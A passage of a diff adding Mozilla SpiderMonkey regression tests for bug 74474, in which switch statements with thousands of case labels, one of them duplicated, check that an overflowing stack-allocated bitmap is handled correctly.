+case 8405:
+case 8406:
+case 8407:
+case 8408:
+case 8409:
+case 8410:
+case 8411:
+case 8412:
+case 8413:
+case 8414:
+case 8415:
+case 8416:
+case 8417:
+case 8418:
+case 8419:
+case 8420:
+case 8421:
+case 8422:
+case 8423:
+case 8424:
+case 8425:
+case 8426:
+case 8427:
+case 8428:
+case 8429:
+case 8430:
+case 8431:
+case 8432:
+case 8433:
+case 8434:
+case 8435:
+case 8436:
+case 8437:
+case 8438:
+case 8439:
+case 8440:
+case 8441:
+case 8442:
+case 8443:
+case 8444:
+case 8445:
+case 8446:
+case 8447:
+case 8448:
+case 8449:
+case 8450:
+case 8451:
+case 8452:
+case 8453:
+case 8454:
+case 8455:
+case 8456:
+case 8457:
+case 8458:
+case 8459:
+case 8460:
+case 8461:
+case 8462:
+case 8463:
+case 8464:
+case 8465:
+case 8466:
+case 8467:
+case 8468:
+case 8469:
+case 8470:
+case 8471:
+case 8472:
+case 8473:
+case 8474:
+case 8475:
+case 8476:
+case 8477:
+case 8478:
+case 8479:
+case 8480:
+case 8481:
+case 8482:
+case 8483:
+case 8484:
+case 8485:
+case 8486:
+case 8487:
+case 8488:
+case 8489:
+case 8490:
+case 8491:
+case 8492:
+case 8493:
+case 8494:
+case 8495:
+case 8496:
+case 8497:
+case 8498:
+case 8499:
+case 8500:
+case 8501:
+case 8502:
+case 8503:
+case 8504:
+case 8505:
+case 8506:
+case 8507:
+case 8508:
+case 8509:
+case 8510:
+case 8511:
+case 8512:
+case 8513:
+case 8514:
+case 8515:
+case 8516:
+case 8517:
+case 8518:
+case 8519:
+case 8520:
+case 8521:
+case 8522:
+case 8523:
+case 8524:
+case 8525:
+case 8526:
+case 8527:
+case 8528:
+case 8529:
+case 8530:
+case 8531:
+case 8532:
+case 8533:
+case 8534:
+case 8535:
+case 8536:
+case 8537:
+case 8538:
+case 8539:
+case 8540:
+case 8541:
+case 8542:
+case 8543:
+case 8544:
+case 8545:
+case 8546:
+case 8547:
+case 8548:
+case 8549:
+case 8550:
+case 8551:
+case 8552:
+case 8553:
+case 8554:
+case 8555:
+case 8556:
+case 8557:
+case 8558:
+case 8559:
+case 8560:
+case 8561:
+case 8562:
+case 8563:
+case 8564:
+case 8565:
+case 8566:
+case 8567:
+case 8568:
+case 8569:
+case 8570:
+case 8571:
+case 8572:
+case 8573:
+case 8574:
+case 8575:
+case 8576:
+case 8577:
+case 8578:
+case 8579:
+case 8580:
+case 8581:
+case 8582:
+case 8583:
+case 8584:
+case 8585:
+case 8586:
+case 8587:
+case 8588:
+case 8589:
+case 8590:
+case 8591:
+case 8592:
+case 8593:
+case 8594:
+case 8595:
+case 8596:
+case 8597:
+case 8598:
+case 8599:
+case 8600:
+case 8601:
+case 8602:
+case 8603:
+case 8604:
+case 8605:
+case 8606:
+case 8607:
+case 8608:
+case 8609:
+case 8610:
+case 8611:
+case 8612:
+case 8613:
+case 8614:
+case 8615:
+case 8616:
+case 8617:
+case 8618:
+case 8619:
+case 8620:
+case 8621:
+case 8622:
+case 8623:
+case 8624:
+case 8625:
+case 8626:
+case 8627:
+case 8628:
+case 8629:
+case 8630:
+case 8631:
+case 8632:
+case 8633:
+case 8634:
+case 8635:
+case 8636:
+case 8637:
+case 8638:
+case 8639:
+case 8640:
+case 8641:
+case 8642:
+case 8643:
+case 8644:
+case 8645:
+case 8646:
+case 8647:
+case 8648:
+case 8649:
+case 8650:
+case 8651:
+case 8652:
+case 8653:
+case 8654:
+case 8655:
+case 8656:
+case 8657:
+case 8658:
+case 8659:
+case 8660:
+case 8661:
+case 8662:
+case 8663:
+case 8664:
+case 8665:
+case 8666:
+case 8667:
+case 8668:
+case 8669:
+case 8670:
+case 8671:
+case 8672:
+case 8673:
+case 8674:
+case 8675:
+case 8676:
+case 8677:
+case 8678:
+case 8679:
+case 8680:
+case 8681:
+case 8682:
+case 8683:
+case 8684:
+case 8685:
+case 8686:
+case 8687:
+case 8688:
+case 8689:
+case 8690:
+case 8691:
+case 8692:
+case 8693:
+case 8694:
+case 8695:
+case 8696:
+case 8697:
+case 8698:
+case 8699:
+case 8700:
+case 8701:
+case 8702:
+case 8703:
+case 8704:
+case 8705:
+case 8706:
+case 8707:
+case 8708:
+case 8709:
+case 8710:
+case 8711:
+case 8712:
+case 8713:
+case 8714:
+case 8715:
+case 8716:
+case 8717:
+case 8718:
+case 8719:
+case 8720:
+case 8721:
+case 8722:
+case 8723:
+case 8724:
+case 8725:
+case 8726:
+case 8727:
+case 8728:
+case 8729:
+case 8730:
+case 8731:
+case 8732:
+case 8733:
+case 8734:
+case 8735:
+case 8736:
+case 8737:
+case 8738:
+case 8739:
+case 8740:
+case 8741:
+case 8742:
+case 8743:
+case 8744:
+case 8745:
+case 8746:
+case 8747:
+case 8748:
+case 8749:
+case 8750:
+case 8751:
+case 8752:
+case 8753:
+case 8754:
+case 8755:
+case 8756:
+case 8757:
+case 8758:
+case 8759:
+case 8760:
+case 8761:
+case 8762:
+case 8763:
+case 8764:
+case 8765:
+case 8766:
+case 8767:
+case 8768:
+case 8769:
+case 8770:
+case 8771:
+case 8772:
+case 8773:
+case 8774:
+case 8775:
+case 8776:
+case 8777:
+case 8778:
+case 8779:
+case 8780:
+case 8781:
+case 8782:
+case 8783:
+case 8784:
+case 8785:
+case 8786:
+case 8787:
+case 8788:
+case 8789:
+case 8790:
+case 8791:
+case 8792:
+case 8793:
+case 8794:
+case 8795:
+case 8796:
+case 8797:
+case 8798:
+case 8799:
+case 8800:
+case 8801:
+case 8802:
+case 8803:
+case 8804:
+case 8805:
+case 8806:
+case 8807:
+case 8808:
+case 8809:
+case 8810:
+case 8811:
+case 8812:
+case 8813:
+case 8814:
+case 8815:
+case 8816:
+case 8817:
+case 8818:
+case 8819:
+case 8820:
+case 8821:
+case 8822:
+case 8823:
+case 8824:
+case 8825:
+case 8826:
+case 8827:
+case 8828:
+case 8829:
+case 8830:
+case 8831:
+case 8832:
+case 8833:
+case 8834:
+case 8835:
+case 8836:
+case 8837:
+case 8838:
+case 8839:
+case 8840:
+case 8841:
+case 8842:
+case 8843:
+case 8844:
+case 8845:
+case 8846:
+case 8847:
+case 8848:
+case 8849:
+case 8850:
+case 8851:
+case 8852:
+case 8853:
+case 8854:
+case 8855:
+case 8856:
+case 8857:
+case 8858:
+case 8859:
+case 8860:
+case 8861:
+case 8862:
+case 8863:
+case 8864:
+case 8865:
+case 8866:
+case 8867:
+case 8868:
+case 8869:
+case 8870:
+case 8871:
+case 8872:
+case 8873:
+case 8874:
+case 8875:
+case 8876:
+case 8877:
+case 8878:
+case 8879:
+case 8880:
+case 8881:
+case 8882:
+case 8883:
+case 8884:
+case 8885:
+case 8886:
+case 8887:
+case 8888:
+case 8889:
+case 8890:
+case 8891:
+case 8892:
+case 8893:
+case 8894:
+case 8895:
+case 8896:
+case 8897:
+case 8898:
+case 8899:
+case 8900:
+case 8901:
+case 8902:
+case 8903:
+case 8904:
+case 8905:
+case 8906:
+case 8907:
+case 8908:
+case 8909:
+case 8910:
+case 8911:
+case 8912:
+case 8913:
+case 8914:
+case 8915:
+case 8916:
+case 8917:
+case 8918:
+case 8919:
+case 8920:
+case 8921:
+case 8922:
+case 8923:
+case 8924:
+case 8925:
+case 8926:
+case 8927:
+case 8928:
+case 8929:
+case 8930:
+case 8931:
+case 8932:
+case 8933:
+case 8934:
+case 8935:
+case 8936:
+case 8937:
+case 8938:
+case 8939:
+case 8940:
+case 8941:
+case 8942:
+case 8943:
+case 8944:
+case 8945:
+case 8946:
+case 8947:
+case 8948:
+case 8949:
+case 8950:
+case 8951:
+case 8952:
+case 8953:
+case 8954:
+case 8955:
+case 8956:
+case 8957:
+case 8958:
+case 8959:
+case 8960:
+case 8961:
+case 8962:
+case 8963:
+case 8964:
+case 8965:
+case 8966:
+case 8967:
+case 8968:
+case 8969:
+case 8970:
+case 8971:
+case 8972:
+case 8973:
+case 8974:
+case 8975:
+case 8976:
+case 8977:
+case 8978:
+case 8979:
+case 8980:
+case 8981:
+case 8982:
+case 8983:
+case 8984:
+case 8985:
+case 8986:
+case 8987:
+case 8988:
+case 8989:
+case 8990:
+case 8991:
+case 8992:
+case 8993:
+case 8994:
+case 8995:
+case 8996:
+case 8997:
+case 8998:
+case 8999:
+ actual += 'a';
+}
+expect = 'a';
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/statements/regress-74474-003.js b/js/src/tests/non262/statements/regress-74474-003.js
new file mode 100644
index 0000000000..51ad2e1674
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-74474-003.js
@@ -0,0 +1,9062 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 09 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 74474
+ * "switch() misbehaves with duplicated labels"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=74474
+ * See ECMA3 Section 12.11, "The switch Statement"
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 74474;
+var summary = 'Test of switch statement that overflows the stack-allocated bitmap';
+var status = '(One duplicated label [8998])';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var x = 3;
+
+
+switch (x)
+{
+case 0:
+case 1:
+case 2:
+case 3:
+case 4:
+case 5:
+case 6:
+case 7:
+case 8:
+case 9:
+case 10:
+case 11:
+case 12:
+case 13:
+case 14:
+case 15:
+case 16:
+case 17:
+case 18:
+case 19:
+case 20:
+case 21:
+case 22:
+case 23:
+case 24:
+case 25:
+case 26:
+case 27:
+case 28:
+case 29:
+case 30:
+case 31:
+case 32:
+case 33:
+case 34:
+case 35:
+case 36:
+case 37:
+case 38:
+case 39:
+case 40:
+case 41:
+case 42:
+case 43:
+case 44:
+case 45:
+case 46:
+case 47:
+case 48:
+case 49:
+case 50:
+case 51:
+case 52:
+case 53:
+case 54:
+case 55:
+case 56:
+case 57:
+case 58:
+case 59:
+case 60:
+case 61:
+case 62:
+case 63:
+case 64:
+case 65:
+case 66:
+case 67:
+case 68:
+case 69:
+case 70:
+case 71:
+case 72:
+case 73:
+case 74:
+case 75:
+case 76:
+case 77:
+case 78:
+case 79:
+case 80:
+case 81:
+case 82:
+case 83:
+case 84:
+case 85:
+case 86:
+case 87:
+case 88:
+case 89:
+case 90:
+case 91:
+case 92:
+case 93:
+case 94:
+case 95:
+case 96:
+case 97:
+case 98:
+case 99:
+case 100:
+case 101:
+case 102:
+case 103:
+case 104:
+case 105:
+case 106:
+case 107:
+case 108:
+case 109:
+case 110:
+case 111:
+case 112:
+case 113:
+case 114:
+case 115:
+case 116:
+case 117:
+case 118:
+case 119:
+case 120:
+case 121:
+case 122:
+case 123:
+case 124:
+case 125:
+case 126:
+case 127:
+case 128:
+case 129:
+case 130:
+case 131:
+case 132:
+case 133:
+case 134:
+case 135:
+case 136:
+case 137:
+case 138:
+case 139:
+case 140:
+case 141:
+case 142:
+case 143:
+case 144:
+case 145:
+case 146:
+case 147:
+case 148:
+case 149:
+case 150:
+case 151:
+case 152:
+case 153:
+case 154:
+case 155:
+case 156:
+case 157:
+case 158:
+case 159:
+case 160:
+case 161:
+case 162:
+case 163:
+case 164:
+case 165:
+case 166:
+case 167:
+case 168:
+case 169:
+case 170:
+case 171:
+case 172:
+case 173:
+case 174:
+case 175:
+case 176:
+case 177:
+case 178:
+case 179:
+case 180:
+case 181:
+case 182:
+case 183:
+case 184:
+case 185:
+case 186:
+case 187:
+case 188:
+case 189:
+case 190:
+case 191:
+case 192:
+case 193:
+case 194:
+case 195:
+case 196:
+case 197:
+case 198:
+case 199:
+case 200:
+case 201:
+case 202:
+case 203:
+case 204:
+case 205:
+case 206:
+case 207:
+case 208:
+case 209:
+case 210:
+case 211:
+case 212:
+case 213:
+case 214:
+case 215:
+case 216:
+case 217:
+case 218:
+case 219:
+case 220:
+case 221:
+case 222:
+case 223:
+case 224:
+case 225:
+case 226:
+case 227:
+case 228:
+case 229:
+case 230:
+case 231:
+case 232:
+case 233:
+case 234:
+case 235:
+case 236:
+case 237:
+case 238:
+case 239:
+case 240:
+case 241:
+case 242:
+case 243:
+case 244:
+case 245:
+case 246:
+case 247:
+case 248:
+case 249:
+case 250:
+case 251:
+case 252:
+case 253:
+case 254:
+case 255:
+case 256:
+case 257:
+case 258:
+case 259:
+case 260:
+case 261:
+case 262:
+case 263:
+case 264:
+case 265:
+case 266:
+case 267:
+case 268:
+case 269:
+case 270:
+case 271:
+case 272:
+case 273:
+case 274:
+case 275:
+case 276:
+case 277:
+case 278:
+case 279:
+case 280:
+case 281:
+case 282:
+case 283:
+case 284:
+case 285:
+case 286:
+case 287:
+case 288:
+case 289:
+case 290:
+case 291:
+case 292:
+case 293:
+case 294:
+case 295:
+case 296:
+case 297:
+case 298:
+case 299:
+case 300:
+case 301:
+case 302:
+case 303:
+case 304:
+case 305:
+case 306:
+case 307:
+case 308:
+case 309:
+case 310:
+case 311:
+case 312:
+case 313:
+case 314:
+case 315:
+case 316:
+case 317:
+case 318:
+case 319:
+case 320:
+case 321:
+case 322:
+case 323:
+case 324:
+case 325:
+case 326:
+case 327:
+case 328:
+case 329:
+case 330:
+case 331:
+case 332:
+case 333:
+case 334:
+case 335:
+case 336:
+case 337:
+case 338:
+case 339:
+case 340:
+case 341:
+case 342:
+case 343:
+case 344:
+case 345:
+case 346:
+case 347:
+case 348:
+case 349:
+case 350:
+case 351:
+case 352:
+case 353:
+case 354:
+case 355:
+case 356:
+case 357:
+case 358:
+case 359:
+case 360:
+case 361:
+case 362:
+case 363:
+case 364:
+case 365:
+case 366:
+case 367:
+case 368:
+case 369:
+case 370:
+case 371:
+case 372:
+case 373:
+case 374:
+case 375:
+case 376:
+case 377:
+case 378:
+case 379:
+case 380:
+case 381:
+case 382:
+case 383:
+case 384:
+case 385:
+case 386:
+case 387:
+case 388:
+case 389:
+case 390:
+case 391:
+case 392:
+case 393:
+case 394:
+case 395:
+case 396:
+case 397:
+case 398:
+case 399:
+case 400:
+case 401:
+case 402:
+case 403:
+case 404:
+case 405:
+case 406:
+case 407:
+case 408:
+case 409:
+case 410:
+case 411:
+case 412:
+case 413:
+case 414:
+case 415:
+case 416:
+case 417:
+case 418:
+case 419:
+case 420:
+case 421:
+case 422:
+case 423:
+case 424:
+case 425:
+case 426:
+case 427:
+case 428:
+case 429:
+case 430:
+case 431:
+case 432:
+case 433:
+case 434:
+case 435:
+case 436:
+case 437:
+case 438:
+case 439:
+case 440:
+case 441:
+case 442:
+case 443:
+case 444:
+case 445:
+case 446:
+case 447:
+case 448:
+case 449:
+case 450:
+case 451:
+case 452:
+case 453:
+case 454:
+case 455:
+case 456:
+case 457:
+case 458:
+case 459:
+case 460:
+case 461:
+case 462:
+case 463:
+case 464:
+case 465:
+case 466:
+case 467:
+case 468:
+case 469:
+case 470:
+case 471:
+case 472:
+case 473:
+case 474:
+case 475:
+case 476:
+case 477:
+case 478:
+case 479:
+case 480:
+case 481:
+case 482:
+case 483:
+case 484:
+case 485:
+case 486:
+case 487:
+case 488:
+case 489:
+case 490:
+case 491:
+case 492:
+case 493:
+case 494:
+case 495:
+case 496:
+case 497:
+case 498:
+case 499:
+case 500:
+case 501:
+case 502:
+case 503:
+case 504:
+case 505:
+case 506:
+case 507:
+case 508:
+case 509:
+case 510:
+case 511:
+case 512:
+case 513:
+case 514:
+case 515:
+case 516:
+case 517:
+case 518:
+case 519:
+case 520:
+case 521:
+case 522:
+case 523:
+case 524:
+case 525:
+case 526:
+case 527:
+case 528:
+case 529:
+case 530:
+case 531:
+case 532:
+case 533:
+case 534:
+case 535:
+case 536:
+case 537:
+case 538:
+case 539:
+case 540:
+case 541:
+case 542:
+case 543:
+case 544:
+case 545:
+case 546:
+case 547:
+case 548:
+case 549:
+case 550:
+case 551:
+case 552:
+case 553:
+case 554:
+case 555:
+case 556:
+case 557:
+case 558:
+case 559:
+case 560:
+case 561:
+case 562:
+case 563:
+case 564:
+case 565:
+case 566:
+case 567:
+case 568:
+case 569:
+case 570:
+case 571:
+case 572:
+case 573:
+case 574:
+case 575:
+case 576:
+case 577:
+case 578:
+case 579:
+case 580:
+case 581:
+case 582:
+case 583:
+case 584:
+case 585:
+case 586:
+case 587:
+case 588:
+case 589:
+case 590:
+case 591:
+case 592:
+case 593:
+case 594:
+case 595:
+case 596:
+case 597:
+case 598:
+case 599:
+case 600:
+case 601:
+case 602:
+case 603:
+case 604:
+case 605:
+case 606:
+case 607:
+case 608:
+case 609:
+case 610:
+case 611:
+case 612:
+case 613:
+case 614:
+case 615:
+case 616:
+case 617:
+case 618:
+case 619:
+case 620:
+case 621:
+case 622:
+case 623:
+case 624:
+case 625:
+case 626:
+case 627:
+case 628:
+case 629:
+case 630:
+case 631:
+case 632:
+case 633:
+case 634:
+case 635:
+case 636:
+case 637:
+case 638:
+case 639:
+case 640:
+case 641:
+case 642:
+case 643:
+case 644:
+case 645:
+case 646:
+case 647:
+case 648:
+case 649:
+case 650:
+case 651:
+case 652:
+case 653:
+case 654:
+case 655:
+case 656:
+case 657:
+case 658:
+case 659:
+case 660:
+case 661:
+case 662:
+case 663:
+case 664:
+case 665:
+case 666:
+case 667:
+case 668:
+case 669:
+case 670:
+case 671:
+case 672:
+case 673:
+case 674:
+case 675:
+case 676:
+case 677:
+case 678:
+case 679:
+case 680:
+case 681:
+case 682:
+case 683:
+case 684:
+case 685:
+case 686:
+case 687:
+case 688:
+case 689:
+case 690:
+case 691:
+case 692:
+case 693:
+case 694:
+case 695:
+case 696:
+case 697:
+case 698:
+case 699:
+case 700:
+case 701:
+case 702:
+case 703:
+case 704:
+case 705:
+case 706:
+case 707:
+case 708:
+case 709:
+case 710:
+case 711:
+case 712:
+case 713:
+case 714:
+case 715:
+case 716:
+case 717:
+case 718:
+case 719:
+case 720:
+case 721:
+case 722:
+case 723:
+case 724:
+case 725:
+case 726:
+case 727:
+case 728:
+case 729:
+case 730:
+case 731:
+case 732:
+case 733:
+case 734:
+case 735:
+case 736:
+case 737:
+case 738:
+case 739:
+case 740:
+case 741:
+case 742:
+case 743:
+case 744:
+case 745:
+case 746:
+case 747:
+case 748:
+case 749:
+case 750:
+case 751:
+case 752:
+case 753:
+case 754:
+case 755:
+case 756:
+case 757:
+case 758:
+case 759:
+case 760:
+case 761:
+case 762:
+case 763:
+case 764:
+case 765:
+case 766:
+case 767:
+case 768:
+case 769:
+case 770:
+case 771:
+case 772:
+case 773:
+case 774:
+case 775:
+case 776:
+case 777:
+case 778:
+case 779:
+case 780:
+case 781:
+case 782:
+case 783:
+case 784:
+case 785:
+case 786:
+case 787:
+case 788:
+case 789:
+case 790:
+case 791:
+case 792:
+case 793:
+case 794:
+case 795:
+case 796:
+case 797:
+case 798:
+case 799:
+case 800:
+case 801:
+case 802:
+case 803:
+case 804:
+case 805:
+case 806:
+case 807:
+case 808:
+case 809:
+case 810:
+case 811:
+case 812:
+case 813:
+case 814:
+case 815:
+case 816:
+case 817:
+case 818:
+case 819:
+case 820:
+case 821:
+case 822:
+case 823:
+case 824:
+case 825:
+case 826:
+case 827:
+case 828:
+case 829:
+case 830:
+case 831:
+case 832:
+case 833:
+case 834:
+case 835:
+case 836:
+case 837:
+case 838:
+case 839:
+case 840:
+case 841:
+case 842:
+case 843:
+case 844:
+case 845:
+case 846:
+case 847:
+case 848:
+case 849:
+case 850:
+case 851:
+case 852:
+case 853:
+case 854:
+case 855:
+case 856:
+case 857:
+case 858:
+case 859:
+case 860:
+case 861:
+case 862:
+case 863:
+case 864:
+case 865:
+case 866:
+case 867:
+case 868:
+case 869:
+case 870:
+case 871:
+case 872:
+case 873:
+case 874:
+case 875:
+case 876:
+case 877:
+case 878:
+case 879:
+case 880:
+case 881:
+case 882:
+case 883:
+case 884:
+case 885:
+case 886:
+case 887:
+case 888:
+case 889:
+case 890:
+case 891:
+case 892:
+case 893:
+case 894:
+case 895:
+case 896:
+case 897:
+case 898:
+case 899:
+case 900:
+case 901:
+case 902:
+case 903:
+case 904:
+case 905:
+case 906:
+case 907:
+case 908:
+case 909:
+case 910:
+case 911:
+case 912:
+case 913:
+case 914:
+case 915:
+case 916:
+case 917:
+case 918:
+case 919:
+case 920:
+case 921:
+case 922:
+case 923:
+case 924:
+case 925:
+case 926:
+case 927:
+case 928:
+case 929:
+case 930:
+case 931:
+case 932:
+case 933:
+case 934:
+case 935:
+case 936:
+case 937:
+case 938:
+case 939:
+case 940:
+case 941:
+case 942:
+case 943:
+case 944:
+case 945:
+case 946:
+case 947:
+case 948:
+case 949:
+case 950:
+case 951:
+case 952:
+case 953:
+case 954:
+case 955:
+case 956:
+case 957:
+case 958:
+case 959:
+case 960:
+case 961:
+case 962:
+case 963:
+case 964:
+case 965:
+case 966:
+case 967:
+case 968:
+case 969:
+case 970:
+case 971:
+case 972:
+case 973:
+case 974:
+case 975:
+case 976:
+case 977:
+case 978:
+case 979:
+case 980:
+case 981:
+case 982:
+case 983:
+case 984:
+case 985:
+case 986:
+case 987:
+case 988:
+case 989:
+case 990:
+case 991:
+case 992:
+case 993:
+case 994:
+case 995:
+case 996:
+case 997:
+case 998:
+case 999:
+case 1000:
+case 1001:
+case 1002:
+case 1003:
+case 1004:
+case 1005:
+case 1006:
+case 1007:
+case 1008:
+case 1009:
+case 1010:
+case 1011:
+case 1012:
+case 1013:
+case 1014:
+case 1015:
+case 1016:
+case 1017:
+case 1018:
+case 1019:
+case 1020:
+case 1021:
+case 1022:
+case 1023:
+case 1024:
+case 1025:
+case 1026:
+case 1027:
+case 1028:
+case 1029:
+case 1030:
+case 1031:
+case 1032:
+case 1033:
+case 1034:
+case 1035:
+case 1036:
+case 1037:
+case 1038:
+case 1039:
+case 1040:
+case 1041:
+case 1042:
+case 1043:
+case 1044:
+case 1045:
+case 1046:
+case 1047:
+case 1048:
+case 1049:
+case 1050:
+case 1051:
+case 1052:
+case 1053:
+case 1054:
+case 1055:
+case 1056:
+case 1057:
+case 1058:
+case 1059:
+case 1060:
+case 1061:
+case 1062:
+case 1063:
+case 1064:
+case 1065:
+case 1066:
+case 1067:
+case 1068:
+case 1069:
+case 1070:
+case 1071:
+case 1072:
+case 1073:
+case 1074:
+case 1075:
+case 1076:
+case 1077:
+case 1078:
+case 1079:
+case 1080:
+case 1081:
+case 1082:
+case 1083:
+case 1084:
+case 1085:
+case 1086:
+case 1087:
+case 1088:
+case 1089:
+case 1090:
+case 1091:
+case 1092:
+case 1093:
+case 1094:
+case 1095:
+case 1096:
+case 1097:
+case 1098:
+case 1099:
+case 1100:
+case 1101:
+case 1102:
+case 1103:
+case 1104:
+case 1105:
+case 1106:
+case 1107:
+case 1108:
+case 1109:
+case 1110:
+case 1111:
+case 1112:
+case 1113:
+case 1114:
+case 1115:
+case 1116:
+case 1117:
+case 1118:
+case 1119:
+case 1120:
+case 1121:
+case 1122:
+case 1123:
+case 1124:
+case 1125:
+case 1126:
+case 1127:
+case 1128:
+case 1129:
+case 1130:
+case 1131:
+case 1132:
+case 1133:
+case 1134:
+case 1135:
+case 1136:
+case 1137:
+case 1138:
+case 1139:
+case 1140:
+case 1141:
+case 1142:
+case 1143:
+case 1144:
+case 1145:
+case 1146:
+case 1147:
+case 1148:
+case 1149:
+case 1150:
+case 1151:
+case 1152:
+case 1153:
+case 1154:
+case 1155:
+case 1156:
+case 1157:
+case 1158:
+case 1159:
+case 1160:
+case 1161:
+case 1162:
+case 1163:
+case 1164:
+case 1165:
+case 1166:
+case 1167:
+case 1168:
+case 1169:
+case 1170:
+case 1171:
+case 1172:
+case 1173:
+case 1174:
+case 1175:
+case 1176:
+case 1177:
+case 1178:
+case 1179:
+case 1180:
+case 1181:
+case 1182:
+case 1183:
+case 1184:
+case 1185:
+case 1186:
+case 1187:
+case 1188:
+case 1189:
+case 1190:
+case 1191:
+case 1192:
+case 1193:
+case 1194:
+case 1195:
+case 1196:
+case 1197:
+case 1198:
+case 1199:
+case 1200:
+case 1201:
+case 1202:
+case 1203:
+case 1204:
+case 1205:
+case 1206:
+case 1207:
+case 1208:
+case 1209:
+case 1210:
+case 1211:
+case 1212:
+case 1213:
+case 1214:
+case 1215:
+case 1216:
+case 1217:
+case 1218:
+case 1219:
+case 1220:
+case 1221:
+case 1222:
+case 1223:
+case 1224:
+case 1225:
+case 1226:
+case 1227:
+case 1228:
+case 1229:
+case 1230:
+case 1231:
+case 1232:
+case 1233:
+case 1234:
+case 1235:
+case 1236:
+case 1237:
+case 1238:
+case 1239:
+case 1240:
+case 1241:
+case 1242:
+case 1243:
+case 1244:
+case 1245:
+case 1246:
+case 1247:
+case 1248:
+case 1249:
+case 1250:
+case 1251:
+case 1252:
+case 1253:
+case 1254:
+case 1255:
+case 1256:
+case 1257:
+case 1258:
+case 1259:
+case 1260:
+case 1261:
+case 1262:
+case 1263:
+case 1264:
+case 1265:
+case 1266:
+case 1267:
+case 1268:
+case 1269:
+case 1270:
+case 1271:
+case 1272:
+case 1273:
+case 1274:
+case 1275:
+case 1276:
+case 1277:
+case 1278:
+case 1279:
+case 1280:
+case 1281:
+case 1282:
+case 1283:
+case 1284:
+case 1285:
+case 1286:
+case 1287:
+case 1288:
+case 1289:
+case 1290:
+case 1291:
+case 1292:
+case 1293:
+case 1294:
+case 1295:
+case 1296:
+case 1297:
+case 1298:
+case 1299:
+case 1300:
+case 1301:
+case 1302:
+case 1303:
+case 1304:
+case 1305:
+case 1306:
+case 1307:
+case 1308:
+case 1309:
+case 1310:
+case 1311:
+case 1312:
+case 1313:
+case 1314:
+case 1315:
+case 1316:
+case 1317:
+case 1318:
+case 1319:
+case 1320:
+case 1321:
+case 1322:
+case 1323:
+case 1324:
+case 1325:
+case 1326:
+case 1327:
+case 1328:
+case 1329:
+case 1330:
+case 1331:
+case 1332:
+case 1333:
+case 1334:
+case 1335:
+case 1336:
+case 1337:
+case 1338:
+case 1339:
+case 1340:
+case 1341:
+case 1342:
+case 1343:
+case 1344:
+case 1345:
+case 1346:
+case 1347:
+case 1348:
+case 1349:
+case 1350:
+case 1351:
+case 1352:
+case 1353:
+case 1354:
+case 1355:
+case 1356:
+case 1357:
+case 1358:
+case 1359:
+case 1360:
+case 1361:
+case 1362:
+case 1363:
+case 1364:
+case 1365:
+case 1366:
+case 1367:
+case 1368:
+case 1369:
+case 1370:
+case 1371:
+case 1372:
+case 1373:
+case 1374:
+case 1375:
+case 1376:
+case 1377:
+case 1378:
+case 1379:
+case 1380:
+case 1381:
+case 1382:
+case 1383:
+case 1384:
+case 1385:
+case 1386:
+case 1387:
+case 1388:
+case 1389:
+case 1390:
+case 1391:
+case 1392:
+case 1393:
+case 1394:
+case 1395:
+case 1396:
+case 1397:
+case 1398:
+case 1399:
+case 1400:
+case 1401:
+case 1402:
+case 1403:
+case 1404:
+case 1405:
+case 1406:
+case 1407:
+case 1408:
+case 1409:
+case 1410:
+case 1411:
+case 1412:
+case 1413:
+case 1414:
+case 1415:
+case 1416:
+case 1417:
+case 1418:
+case 1419:
+case 1420:
+case 1421:
+case 1422:
+case 1423:
+case 1424:
+case 1425:
+case 1426:
+case 1427:
+case 1428:
+case 1429:
+case 1430:
+case 1431:
+case 1432:
+case 1433:
+case 1434:
+case 1435:
+case 1436:
+case 1437:
+case 1438:
+case 1439:
+case 1440:
+case 1441:
+case 1442:
+case 1443:
+case 1444:
+case 1445:
+case 1446:
+case 1447:
+case 1448:
+case 1449:
+case 1450:
+case 1451:
+case 1452:
+case 1453:
+case 1454:
+case 1455:
+case 1456:
+case 1457:
+case 1458:
+case 1459:
+case 1460:
+case 1461:
+case 1462:
+case 1463:
+case 1464:
+case 1465:
+case 1466:
+case 1467:
+case 1468:
+case 1469:
+case 1470:
+case 1471:
+case 1472:
+case 1473:
+case 1474:
+case 1475:
+case 1476:
+case 1477:
+case 1478:
+case 1479:
+case 1480:
+case 1481:
+case 1482:
+case 1483:
+case 1484:
+case 1485:
+case 1486:
+case 1487:
+case 1488:
+case 1489:
+case 1490:
+case 1491:
+case 1492:
+case 1493:
+case 1494:
+case 1495:
+case 1496:
+case 1497:
+case 1498:
+case 1499:
+case 1500:
+case 1501:
+case 1502:
+case 1503:
+case 1504:
+case 1505:
+case 1506:
+case 1507:
+case 1508:
+case 1509:
+case 1510:
+case 1511:
+case 1512:
+case 1513:
+case 1514:
+case 1515:
+case 1516:
+case 1517:
+case 1518:
+case 1519:
+case 1520:
+case 1521:
+case 1522:
+case 1523:
+case 1524:
+case 1525:
+case 1526:
+case 1527:
+case 1528:
+case 1529:
+case 1530:
+case 1531:
+case 1532:
+case 1533:
+case 1534:
+case 1535:
+case 1536:
+case 1537:
+case 1538:
+case 1539:
+case 1540:
+case 1541:
+case 1542:
+case 1543:
+case 1544:
+case 1545:
+case 1546:
+case 1547:
+case 1548:
+case 1549:
+case 1550:
+case 1551:
+case 1552:
+case 1553:
+case 1554:
+case 1555:
+case 1556:
+case 1557:
+case 1558:
+case 1559:
+case 1560:
+case 1561:
+case 1562:
+case 1563:
+case 1564:
+case 1565:
+case 1566:
+case 1567:
+case 1568:
+case 1569:
+case 1570:
+case 1571:
+case 1572:
+case 1573:
